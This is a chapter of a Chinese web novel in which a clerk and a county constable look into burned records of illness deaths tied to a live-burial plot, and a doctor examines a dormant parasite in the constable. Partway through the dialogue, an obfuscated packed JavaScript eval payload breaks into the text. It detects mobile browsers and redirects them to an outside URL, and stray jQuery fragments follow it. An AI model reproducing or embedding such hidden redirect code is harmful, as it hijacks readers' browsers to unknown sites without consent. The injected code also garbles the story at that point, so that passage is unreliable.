7. 来都来了

作品:《万人嫌苟命指南

    “多谢药老,我会转告谢县尉!”苏清煕抬手抱拳,“事不宜迟,我先告辞了。”


    当她赶到县廨时,天色已黑,但是理事厅内还是一派灯火通明的样子,时不时传来交谈的声音。


    她在门外无意打听,却还是听到什么卷宗被烧。


    手指不小心碰到窗棂发出细响,下一秒谢珩蔺的身影就出现在眼前,看清是她后,狠厉之色隐于眼帘,嘴角泛起一抹似笑非笑的血色。


    不是,这狗官出来就对着她冷笑,是在抽什么风?


    谢珩蔺手指微动,他就不该仁慈,眼下不就和以前一样躲在门外偷听吗?他早就知道眼前的人是一个多么狡诈的蛇蝎女人,还是放任她活了这么久。


    “县尉大人,这是药老嘱咐我带给您的药包,里面还有字条记得看。”


    谢珩蔺顿住,“你是来送东西的?”他放下抬起的手,此人诡计多端,不可轻信,他打开字条眼一眯,“我体内有休眠的蛊,我还以为...”


    苏清煕还在一旁感叹,这也是一个可怜的人,年纪轻轻就中蛊,跟自己一样是难兄难弟。


    突然就被告知跟县尉一起去南楼,后面还跟着对她不服气的林大牛,不是,她不是干的主簿的活吗?不应该管管文书等工作就行了吗?怎么还要出现场呀!


    等她认命时,她们已经站在南楼的门前了,据说这里是专门放置县廨卷宗的地方,来开门的是一个有些耳背的老翁。


    林大牛掌灯走在前方,一直上了二楼才停下,苏清煕借着余光看见里面排满了架子,上面堆满了一卷卷的卷宗,有些卷宗已经泛黄,可见年代久远,架子上未见灰尘也昭示着这里经常有人打理。


    林大牛:“县尉,就是这个架子,是专门放本县害疾而死的卷宗,现在这栏的卷宗全部被烧了。”


    谢珩蔺取过林大牛手中的火把,架子上空空如也,只有他们站的脚下有烧焦过的痕迹,看来是有人将害疾而死的卷宗单独拿出来烧毁了。


    “我们例巡检查的时候发现的。”林大牛补充道:“已经问过看门的老李了,他说那天他和他孙子一起进来整理过,除他二人就没有其他人再进来过。”


    “我看其他架子上都是满的,是只有这里的卷宗被烧了?”


    “是。”林大牛答到。


    谢珩蔺想不通为何单单只烧毁此类卷宗?明明有更重要的机密要闻却毫发无损。


    “害疾而死?这是何意?”苏清煕在一旁不耻下问,她想确认一件事。


    林大牛哼了一声,“姑奶奶,这都不知道?就是字面意思,本县每年因疾病而死的人都会被登记在册,统计完后的卷宗会被存放在这。”


    苏清煕懒得搭理林大牛的阴阳怪气,她对着谢珩蔺说道:“我可能知道为什么只有此类卷宗被烧了。”


    谢珩蔺回头,看着她眼里跳动的火光,脱口而出,“你怎么看?”


    “县尉大人,你可曾记得我同你讲过我被活埋之事。”谢珩蔺点头,他怎会不知,他就是那时死而复活的。


    苏清煕:“之后我们又在黑市地天宫碰到,那时我打听到一个消息,那些活埋我的歹人见我消失后欲新折一名女子成为他们下一个活埋之人。”


    谢珩蔺直起身,继续听她说。


    “那些歹徒透露过一个消息。”她盯着谢珩蔺的眸子,“活埋我是因为我身体有疾。”


    他一怔,他以前怎么不知她身体有疾。


    见他没有开口,苏清煕继续说:“我们可不可以大胆猜测,小心求证,这害疾而死的卷宗被烧会不会与活埋一事有关。”


    一旁的林大牛听到这才敢出声,此时他眼底已没了先前的不服,甚至还带着点焦急,只因他说:“县尉,姑奶奶,我觉得有件事得告诉你们,小展的表姐最近病了,这几日就在济世堂就医。”


    苏清煕与谢珩蔺对视一眼,心领神会。


    第二日,为避免打草惊蛇,谢珩蔺着一身素锦常服与苏清煕、小展前往济世堂。


    三人借着探望小展表姐的名义,正大光明观察起四周,在绕了一圈后,谢珩蔺示意苏清煕是否有看到在天宫谈论活埋换人之事的人。


    她轻轻摇了摇头。


    那些人还是太谨慎了。


    她看着济世堂后院,忙碌的众人煎药的煎药,扎针的扎针,在这的谁不是身体有疾呢,要预测下一个歹人的目标犹如大海捞针。


    突然,她脑海中灵光一闪,歹人在选人方面会不会有自己的偏好呢,不然为什么要烧那些卷宗?只有说明歹人清楚如果让他们看到卷宗上的内容就会暴露自己。


    她还没讲出自己的心声,一旁的谢珩蔺就吩咐道:“小展,去将南楼守门的老李和他孙子一并带来县廨问话。”


    他这是和自己想到一块去了?


    “来都来了,不去面个诊?”她歪头问道,“我看你印堂发黑,命不久矣呀!”


    谢珩蔺本来转身步伐一顿,来都来了。


    药老见到她们甚是惊讶,取针拿药的动作丝毫不慢,“我还以为谢县尉日有万机,没想到第二日便来了!”


    他两指搭于脉上,检查眼睑舌苔之后下了定论:“一个好消息,一个坏消息,先听那个?”


    谢珩蔺无甚在意的说,“一起说吧。”


    “切,无趣。”药老蹬了他一眼才开口,“好消息是蛊虫休眠后没有产生毒素,或者说产生了毒素但是被你体内的另一种成分代谢掉了。”


    “他是不是吃过什么?”药老转头问她。


    苏清煕打马虎道:“不知道呀。”她又转头问谢珩蔺,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626323|172379||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “县尉大人,你吃过什么吗?”


    见谢珩蔺摇头,她立马对药老说:“你看他也不知道,可能咱们县尉大人身体底子好!”却不知道她转头的一瞬,谢珩蔺望向她的眼里充满了深意。


    “不计较这个。”药老摆摆手,“坏消息是不产生毒素,蛊虫就不会醒来,但是会依靠宿主的精气神滋养生机,因此如果不及时拔除,会陷入癔症暴毙而亡。”


    苏清煕听完,一脸慈悲地看向谢珩蔺:“合着怎么着都会死呀,只不过一个死得快,一个死得慢。”


    药老一听乐了,“话糙理不糙,是这个理,我还得再找找看怎么才能拔出此蛊。”突然他转头用手指比着一,“丫头,上次那金丝鸡蛋饼好吃的嘞,但是你还欠我一顿啊!我可要换一种吃的!”


    “啊!是县尉大人看诊,怎么是叫我付诊金呢?他如今就在这,你找他要去!”苏清煕嬉笑着跑到谢珩蔺身后,耍赖道。


    “是你答应的,我就找你!”药老眼睛一眯,又开始捏着胡子,一副你逃不掉的表情。


    谢珩蔺看着二人打趣的画面,嘴角不由自主地上扬,在他反应过来时立马收回了表情,他这是怎么了?


    *


    理事厅。


    南楼看门的老李已经在候着了。


    谢珩蔺开门见山地问道:“老李,你尽心尽力这么多年,官职虽小但责任重大!如今县里活埋一事与此次卷宗被烧有很大干系!希望你能将那日发生何事,细细道来。”他说完后看着老李的面容,没有听到活埋一事所表现出来的惊慌,要么是伪装极好,要么是毫不知情。


    老李在林大牛大着嗓子复述一遍后才慢慢回忆道:“那日我像往常一样整理归类卷宗,拢共才整理了半柜子,我孙儿就让我休息,剩下他来整理,后来我就在一旁打打下手,一直到戌时咱爷俩才回去吃饭,一个时辰后我就自己回南楼宿着了。”


    “你孙儿为何在南楼?”谢珩蔺问,“回南楼后有没有听到什么动静?”


    照例林大牛对着老李耳朵复述,“因为南楼清净,我孙儿虚岁有十,整日贪玩,我就叫他在这温书习字。”想了会后方摇头道,“回去后没听到什么动静。”


    苏清煕在一旁没听出什么门道来,就听谢珩蔺问林大牛。


    “不是叫你带老李和他孙儿吗?怎只来了他一人?”


    林大牛挠了挠头,“老李说那天后他孙子没回家,可能是自己回城外大姐家去了,说他以前也总是这样自己跑回去。”


    这下苏清煕听明白了,最后经手卷宗的人现在少一个,少的这个有重大嫌疑。


    谢珩蔺叫林大牛送回老李后,立马派人连夜去城外,看林大牛的孙子是否在他大姐家。


    看着奔波而去的身影,苏清煕感觉事情没有这么简单。